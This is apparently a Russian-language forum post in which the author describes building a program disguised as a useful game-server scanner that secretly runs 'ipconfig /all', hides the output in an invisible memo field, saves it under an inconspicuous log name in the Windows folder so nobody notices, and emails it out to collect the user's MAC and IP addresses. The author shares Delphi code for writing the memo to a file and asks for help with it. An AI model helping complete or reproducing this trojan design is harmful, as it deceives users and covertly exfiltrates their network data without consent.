В общем задумка такая написать програмку, которая будет закидываться клиенту в качестве полезной программы, ну например сканирование сети на поиск игровых серверов с всякими прикольными функциями
Но програма будет включать в себя что-то типо среды разведчика .
Её цель узнать mac и айпи узера.
Как она будет это делать:
1.Красивая оболоча (форма) содержащая функции поиска игровых серверов в сети
2.Скрытое мемо поле , в которое будет выводиться содержимое cmd , а конкретнее ip config/all
3.Содержимое ipconfig будет храниться в мемо(скрытом мемо)
4.Содержимое мемо будет записываться в тексовый файл лог файл красио обозваный например c:\windows\ipconfig.log
Те гдубо говоря запишим содеримое всего ipconfig В лог файл чтобы никто не догадался обозвали его круто ipconfig.log
5.Полученый файл отправим по почьте , на кодировку всё равно, нам главное mac и айпи
В процессе разработки сделал вывод содержимого мемо, скрыл это содержимое, а вот как сохранить содержимое из мемо в txt файл не знаю
не получается
пробую так:
Проблема с которой столкнулся
Код:
var
Form1: TForm1;
Fo,Fi :textfile;
var s : string;
i : integer;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
assignfile(Fo, ' d:\xxx\=file1=.txt ' );
rewrite(Fo); //создаем файл
for i:=0 to memo1.Lines.Count-1 do
writeln(Fo,memo1.Lines[i]); //записываем текст в него из МЕМО
closefile(fo); //и закрываем
button2.Enabled:=true;//теперь можно 2-ю кнопку использовать
end;